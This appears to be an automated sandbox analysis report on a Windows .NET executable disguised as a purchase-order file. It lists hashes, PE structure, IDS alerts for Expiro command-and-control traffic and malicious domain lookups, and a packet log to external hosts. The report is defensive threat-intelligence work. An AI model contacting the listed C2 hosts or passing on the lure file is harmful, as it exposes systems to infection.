Malicious:	false
Reputation:	unknown
Preview:	....X...X.......................................X...!...........................@...x.....TU....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................@...`...........UF...A..........H.o.l.o.g.r.a.p.h.i.c.S.h.e.l.l...C.:.\.W.i.n.d.o.w.s.\.T.e.m.p.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.H.o.l.o.g.r.a.p.h.i.c.S.h.e.l.l...e.t.l.......P.P.@...x.....TU............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.884290221622837
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	RFQ_PO N89397-GM7287-Order.bat.exe
File size:	1'432'064 bytes
MD5:	06c13587e9a7af60860cb6e2c4f3a7b2
SHA1:	238f5ddcd0193aba7b760b7ab6f3f982d73383b5
SHA256:	efd64c0b88bbe45461d13b2a0acd9544218f819f4579af35b5fc92e20d5f6fa5
SHA512:	b9254b49e477e7d60f077ec17ea2dee374d06c6ac095f1b70797d56fa523729b2f23cf9c5810972c515ea7d4d15923314b93da8b50a2aaf494d6133474cb6c8e
SSDEEP:	24576:y1zGUxjCMfFrJirFpgEZR4IGqiHVtAgjSN9/pggC0gPAMhCKqX:0L/9QrF/ZR4DH4/begC0WAfZ
TLSH:	9465018D3125B18FC497C9708A54ED78EA746CAA9B0BC203D5E31EEFBD1D5879E041E2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\.................0.............n.... ........@.. .......................@............@................................

File Icon


Icon Hash:	323636b29699c72c

Static PE Info

General

Entrypoint:	0x55c96e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xC6CF0F5C [Wed Sep 11 20:17:32 2075 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x15c91c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x15e000	0x2a08	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x162000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x15a974	0x15aa00	10f3457065cfc79b07e8b4db80c74c7c	False	0.9333401888748648	data	7.887666262860419	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x15e000	0x2a08	0x2c00	69617c58d9231710e87534bbc5354806	False	0.8746448863636364	data	7.485994825853279	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x162000	0xc	0x200	8b753ce6ef7cd20af691528b93a2087e	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x15e130	0x244f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9797740720817644
RT_GROUP_ICON	0x160580	0x14	data	1.05
RT_VERSION	0x160594	0x288	data	0.46141975308641975
RT_MANIFEST	0x16081c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T22:44:28.600332+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49718	132.226.247.73	80	TCP
2024-11-28T22:44:37.090921+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.141.10.107	80	192.168.2.7	49740	TCP
2024-11-28T22:44:37.090921+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.141.10.107	80	192.168.2.7	49740	TCP
2024-11-28T22:44:41.628617+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49754	132.226.247.73	80	TCP
2024-11-28T22:44:49.363972+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.7	53251	1.1.1.1	53	UDP
2024-11-28T22:44:51.227117+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.7	49780	172.234.222.138	80	TCP
2024-11-28T22:44:52.841706+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.7	54852	1.1.1.1	53	UDP
2024-11-28T22:44:53.832881+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.7	54852	1.1.1.1	53	UDP
2024-11-28T22:44:54.848703+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.7	54852	1.1.1.1	53	UDP
2024-11-28T22:44:56.874648+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.7	54852	1.1.1.1	53	UDP
2024-11-28T22:46:06.959081+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.7	49903	82.112.184.197	80	TCP
2024-11-28T22:46:17.023299+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	47.129.31.212	80	192.168.2.7	49922	TCP
2024-11-28T22:46:17.023299+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	47.129.31.212	80	192.168.2.7	49922	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 22:44:26.530987024 CET	49718	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:44:26.650998116 CET	80	49718	132.226.247.73	192.168.2.7
Nov 28, 2024 22:44:26.654911041 CET	49718	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:44:26.660605907 CET	49718	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:44:26.780724049 CET	80	49718	132.226.247.73	192.168.2.7
Nov 28, 2024 22:44:27.994559050 CET	80	49718	132.226.247.73	192.168.2.7
Nov 28, 2024 22:44:28.036232948 CET	49718	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:44:28.156230927 CET	80	49718	132.226.247.73	192.168.2.7
Nov 28, 2024 22:44:28.461354971 CET	80	49718	132.226.247.73	192.168.2.7
Nov 28, 2024 22:44:28.600332022 CET	49718	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:44:28.655580997 CET	49725	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:28.655647039 CET	443	49725	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:28.655844927 CET	49725	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:28.662492037 CET	49725	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:28.662519932 CET	443	49725	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:29.881974936 CET	443	49725	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:29.882101059 CET	49725	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:29.885999918 CET	49725	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:29.886014938 CET	443	49725	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:29.886334896 CET	443	49725	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:29.987925053 CET	49725	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:30.143894911 CET	49725	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:30.187323093 CET	443	49725	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:30.472032070 CET	443	49725	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:30.472091913 CET	443	49725	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:30.472327948 CET	49725	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:30.479597092 CET	49725	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:34.795253992 CET	49740	80	192.168.2.7	18.141.10.107
Nov 28, 2024 22:44:34.915236950 CET	80	49740	18.141.10.107	192.168.2.7
Nov 28, 2024 22:44:34.915318012 CET	49740	80	192.168.2.7	18.141.10.107
Nov 28, 2024 22:44:34.924679041 CET	49743	80	192.168.2.7	18.141.10.107
Nov 28, 2024 22:44:34.926409960 CET	49740	80	192.168.2.7	18.141.10.107
Nov 28, 2024 22:44:34.926440954 CET	49740	80	192.168.2.7	18.141.10.107
Nov 28, 2024 22:44:35.044744968 CET	80	49743	18.141.10.107	192.168.2.7
Nov 28, 2024 22:44:35.044826984 CET	49743	80	192.168.2.7	18.141.10.107
Nov 28, 2024 22:44:35.046339035 CET	80	49740	18.141.10.107	192.168.2.7
Nov 28, 2024 22:44:35.046365976 CET	80	49740	18.141.10.107	192.168.2.7
Nov 28, 2024 22:44:35.051719904 CET	49743	80	192.168.2.7	18.141.10.107
Nov 28, 2024 22:44:35.056476116 CET	49743	80	192.168.2.7	18.141.10.107
Nov 28, 2024 22:44:35.171675920 CET	80	49743	18.141.10.107	192.168.2.7
Nov 28, 2024 22:44:35.176398039 CET	80	49743	18.141.10.107	192.168.2.7
Nov 28, 2024 22:44:36.970561028 CET	80	49740	18.141.10.107	192.168.2.7
Nov 28, 2024 22:44:36.970714092 CET	80	49740	18.141.10.107	192.168.2.7
Nov 28, 2024 22:44:36.970917940 CET	49740	80	192.168.2.7	18.141.10.107
Nov 28, 2024 22:44:36.971036911 CET	49740	80	192.168.2.7	18.141.10.107
Nov 28, 2024 22:44:37.090920925 CET	80	49740	18.141.10.107	192.168.2.7
Nov 28, 2024 22:44:37.530086994 CET	80	49743	18.141.10.107	192.168.2.7
Nov 28, 2024 22:44:37.530241013 CET	80	49743	18.141.10.107	192.168.2.7
Nov 28, 2024 22:44:37.530304909 CET	49743	80	192.168.2.7	18.141.10.107
Nov 28, 2024 22:44:37.530421972 CET	49743	80	192.168.2.7	18.141.10.107
Nov 28, 2024 22:44:37.650392056 CET	80	49743	18.141.10.107	192.168.2.7
Nov 28, 2024 22:44:39.516262054 CET	49754	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:44:39.636225939 CET	80	49754	132.226.247.73	192.168.2.7
Nov 28, 2024 22:44:39.638408899 CET	49754	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:44:39.638662100 CET	49754	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:44:39.758534908 CET	80	49754	132.226.247.73	192.168.2.7
Nov 28, 2024 22:44:40.988693953 CET	80	49754	132.226.247.73	192.168.2.7
Nov 28, 2024 22:44:41.034852982 CET	49754	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:44:41.089533091 CET	49754	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:44:41.209429979 CET	80	49754	132.226.247.73	192.168.2.7
Nov 28, 2024 22:44:41.524159908 CET	80	49754	132.226.247.73	192.168.2.7
Nov 28, 2024 22:44:41.530265093 CET	49759	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:41.530323982 CET	443	49759	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:41.530477047 CET	49759	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:41.533736944 CET	49759	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:41.533756018 CET	443	49759	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:41.628617048 CET	49754	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:44:42.808295965 CET	443	49759	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:42.808398962 CET	49759	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:42.812777996 CET	49759	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:42.812797070 CET	443	49759	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:42.813075066 CET	443	49759	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:42.987967014 CET	49759	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:44.195585012 CET	49759	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:44.243330956 CET	443	49759	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:44.576497078 CET	443	49759	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:44.576561928 CET	443	49759	104.21.67.152	192.168.2.7
Nov 28, 2024 22:44:44.576643944 CET	49759	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:44.579467058 CET	49759	443	192.168.2.7	104.21.67.152
Nov 28, 2024 22:44:49.888636112 CET	49780	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:49.918632030 CET	49781	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:50.008855104 CET	80	49780	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:50.008938074 CET	49780	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:50.009222031 CET	49780	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:50.009222031 CET	49780	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:50.039001942 CET	80	49781	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:50.039082050 CET	49781	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:50.042895079 CET	49781	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:50.042912006 CET	49781	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:50.129205942 CET	80	49780	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:50.129246950 CET	80	49780	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:50.162967920 CET	80	49781	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:50.162985086 CET	80	49781	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:51.215723038 CET	80	49781	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:51.215946913 CET	49781	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:51.219634056 CET	49781	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:51.224041939 CET	80	49780	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:51.227117062 CET	49780	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:51.227117062 CET	49780	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:51.245526075 CET	49784	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:51.339782953 CET	80	49781	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:51.347071886 CET	80	49780	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:51.365659952 CET	80	49784	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:51.365928888 CET	49784	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:51.366703033 CET	49784	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:51.366833925 CET	49784	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:51.384057999 CET	49787	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:51.486620903 CET	80	49784	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:51.486757040 CET	80	49784	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:51.504376888 CET	80	49787	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:51.504467010 CET	49787	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:51.504663944 CET	49787	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:51.504663944 CET	49787	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:51.625240088 CET	80	49787	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:51.625382900 CET	80	49787	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:52.581410885 CET	80	49784	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:52.583116055 CET	49784	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:52.605729103 CET	49784	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:52.676811934 CET	80	49787	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:52.680063963 CET	49787	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:52.680638075 CET	49787	80	192.168.2.7	172.234.222.138
Nov 28, 2024 22:44:52.725796938 CET	80	49784	172.234.222.138	192.168.2.7
Nov 28, 2024 22:44:52.800791025 CET	80	49787	172.234.222.138	192.168.2.7
Nov 28, 2024 22:45:00.517801046 CET	49806	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:00.557226896 CET	49808	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:00.637973070 CET	80	49806	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:00.638052940 CET	49806	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:00.638345003 CET	49806	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:00.638411999 CET	49806	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:00.677265882 CET	80	49808	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:00.677349091 CET	49808	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:00.677488089 CET	49808	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:00.677501917 CET	49808	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:00.758388042 CET	80	49806	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:00.758402109 CET	80	49806	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:00.797620058 CET	80	49808	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:00.797631025 CET	80	49808	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:22.567760944 CET	80	49808	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:22.567872047 CET	49808	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:22.567949057 CET	49808	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:22.583169937 CET	80	49806	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:22.583508968 CET	49806	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:22.583698988 CET	49806	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:22.585833073 CET	49852	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:22.596152067 CET	49853	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:22.687891006 CET	80	49808	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:22.703558922 CET	80	49806	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:22.705718040 CET	80	49852	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:22.705800056 CET	49852	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:22.706005096 CET	49852	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:22.706033945 CET	49852	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:22.716325998 CET	80	49853	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:22.716401100 CET	49853	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:22.716563940 CET	49853	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:22.716583014 CET	49853	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:22.825997114 CET	80	49852	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:22.826011896 CET	80	49852	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:22.836508989 CET	80	49853	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:22.836519957 CET	80	49853	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:26.678930044 CET	49852	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:27.588466883 CET	49864	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:27.708458900 CET	80	49864	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:27.708549976 CET	49864	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:27.728472948 CET	49864	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:27.728472948 CET	49864	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:27.848455906 CET	80	49864	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:27.848474979 CET	80	49864	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:33.461400032 CET	80	49718	132.226.247.73	192.168.2.7
Nov 28, 2024 22:45:33.461467981 CET	49718	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:45:44.749185085 CET	80	49853	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:44.749383926 CET	49853	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:44.749478102 CET	49853	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:44.869487047 CET	80	49853	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:44.895390034 CET	49903	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:45.015783072 CET	80	49903	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:45.015876055 CET	49903	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:45.016161919 CET	49903	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:45.016175985 CET	49903	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:45.136301994 CET	80	49903	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:45.136317015 CET	80	49903	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:46.524276972 CET	80	49754	132.226.247.73	192.168.2.7
Nov 28, 2024 22:45:46.525032043 CET	49754	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:45:49.646241903 CET	80	49864	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:49.646334887 CET	49864	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:49.646385908 CET	49864	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:49.648278952 CET	49911	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:49.768748999 CET	80	49864	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:49.770647049 CET	80	49911	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:49.770714998 CET	49911	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:49.770873070 CET	49911	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:49.770898104 CET	49911	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:45:49.890791893 CET	80	49911	82.112.184.197	192.168.2.7
Nov 28, 2024 22:45:49.890805006 CET	80	49911	82.112.184.197	192.168.2.7
Nov 28, 2024 22:46:06.959023952 CET	80	49903	82.112.184.197	192.168.2.7
Nov 28, 2024 22:46:06.959080935 CET	49903	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:46:06.960428953 CET	49903	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:46:06.962188005 CET	49921	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:46:07.080486059 CET	80	49903	82.112.184.197	192.168.2.7
Nov 28, 2024 22:46:07.082166910 CET	80	49921	82.112.184.197	192.168.2.7
Nov 28, 2024 22:46:07.082323074 CET	49921	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:46:07.082426071 CET	49921	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:46:07.082452059 CET	49921	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:46:07.202343941 CET	80	49921	82.112.184.197	192.168.2.7
Nov 28, 2024 22:46:07.202373028 CET	80	49921	82.112.184.197	192.168.2.7
Nov 28, 2024 22:46:08.473320007 CET	49718	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:46:08.593493938 CET	80	49718	132.226.247.73	192.168.2.7
Nov 28, 2024 22:46:11.740159035 CET	80	49911	82.112.184.197	192.168.2.7
Nov 28, 2024 22:46:11.740219116 CET	49911	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:46:11.740278006 CET	49911	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:46:11.860217094 CET	80	49911	82.112.184.197	192.168.2.7
Nov 28, 2024 22:46:14.653141975 CET	49922	80	192.168.2.7	47.129.31.212
Nov 28, 2024 22:46:14.773236990 CET	80	49922	47.129.31.212	192.168.2.7
Nov 28, 2024 22:46:14.773907900 CET	49922	80	192.168.2.7	47.129.31.212
Nov 28, 2024 22:46:14.774070978 CET	49922	80	192.168.2.7	47.129.31.212
Nov 28, 2024 22:46:14.774086952 CET	49922	80	192.168.2.7	47.129.31.212
Nov 28, 2024 22:46:14.894012928 CET	80	49922	47.129.31.212	192.168.2.7
Nov 28, 2024 22:46:14.894037962 CET	80	49922	47.129.31.212	192.168.2.7
Nov 28, 2024 22:46:16.902856112 CET	80	49922	47.129.31.212	192.168.2.7
Nov 28, 2024 22:46:16.902930021 CET	80	49922	47.129.31.212	192.168.2.7
Nov 28, 2024 22:46:16.902975082 CET	49922	80	192.168.2.7	47.129.31.212
Nov 28, 2024 22:46:16.903345108 CET	49922	80	192.168.2.7	47.129.31.212
Nov 28, 2024 22:46:17.023298979 CET	80	49922	47.129.31.212	192.168.2.7
Nov 28, 2024 22:46:21.536088943 CET	49754	80	192.168.2.7	132.226.247.73
Nov 28, 2024 22:46:21.656418085 CET	80	49754	132.226.247.73	192.168.2.7
Nov 28, 2024 22:46:29.037707090 CET	80	49921	82.112.184.197	192.168.2.7
Nov 28, 2024 22:46:29.037792921 CET	49921	80	192.168.2.7	82.112.184.197
Nov 28, 2024 22:46:29.037834883 CET	49921	80	192.168.2.7	82.112.184.197
